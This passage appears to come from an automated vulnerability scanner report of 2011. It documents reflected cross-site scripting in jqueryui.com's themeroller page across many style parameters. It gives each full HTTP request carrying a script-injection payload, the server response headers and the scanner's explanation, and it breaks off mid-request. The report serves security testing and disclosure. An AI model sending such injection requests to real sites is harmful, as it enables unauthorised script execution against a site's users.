GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc33d2f"><script>alert(1)</script>fe81736995b&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:39:56 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120176
The value of the bgColorHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4a2b"><script>alert(1)</script>aac3cc6fe96 was submitted in the bgColorHover parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5e4a2b"><script>alert(1)</script>aac3cc6fe96&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:41:51 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120176
The value of the bgImgOpacityContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9449b"><script>alert(1)</script>86f3b7ecaa6 was submitted in the bgImgOpacityContent parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=1009449b"><script>alert(1)</script>86f3b7ecaa6&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:40:31 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120176
The value of the bgImgOpacityDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea547"><script>alert(1)</script>44c9f70b60c was submitted in the bgImgOpacityDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85ea547"><script>alert(1)</script>44c9f70b60c&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:41:04 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120176
The value of the bgImgOpacityHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9719"><script>alert(1)</script>dd196012e00 was submitted in the bgImgOpacityHeader parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55d9719"><script>alert(1)</script>dd196012e00&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:40:03 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120176
The value of the bgImgOpacityHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d312"><script>alert(1)</script>7ccc9c6c514 was submitted in the bgImgOpacityHover parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=754d312"><script>alert(1)</script>7ccc9c6c514&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:42:10 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120176
The value of the bgTextureActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload da742"><script>alert(1)</script>727d2ffc486 was submitted in the bgTextureActive parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.pngda742"><script>alert(1)</script>727d2ffc486&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:42:52 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120110
The value of the bgTextureContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c1d1"><script>alert(1)</script>4ed3b8831ca was submitted in the bgTextureContent parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png5c1d1"><script>alert(1)</script>4ed3b8831ca&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:40:26 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120110
The value of the bgTextureDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a787"><script>alert(1)</script>ae185997c75 was submitted in the bgTextureDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png4a787"><script>alert(1)</script>ae185997c75&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:40:56 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120110
The value of the bgTextureHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fa7d"><script>alert(1)</script>92ca4284c32 was submitted in the bgTextureHeader parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png1fa7d"><script>alert(1)</script>92ca4284c32&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:39:58 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120110
The value of the bgTextureHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5e5de"><script>alert(1)</script>f8b2441e340 was submitted in the bgTextureHover parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png5e5de"><script>alert(1)</script>f8b2441e340&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:41:57 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120110
The value of the borderColorContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52c1e"><script>alert(1)</script>128443e0cb7 was submitted in the borderColorContent parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e252c1e"><script>alert(1)</script>128443e0cb7&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:40:37 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120176
The value of the borderColorDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d45be"><script>alert(1)</script>aaa5c7de17d was submitted in the borderColorDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbecd45be"><script>alert(1)</script>aaa5c7de17d&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0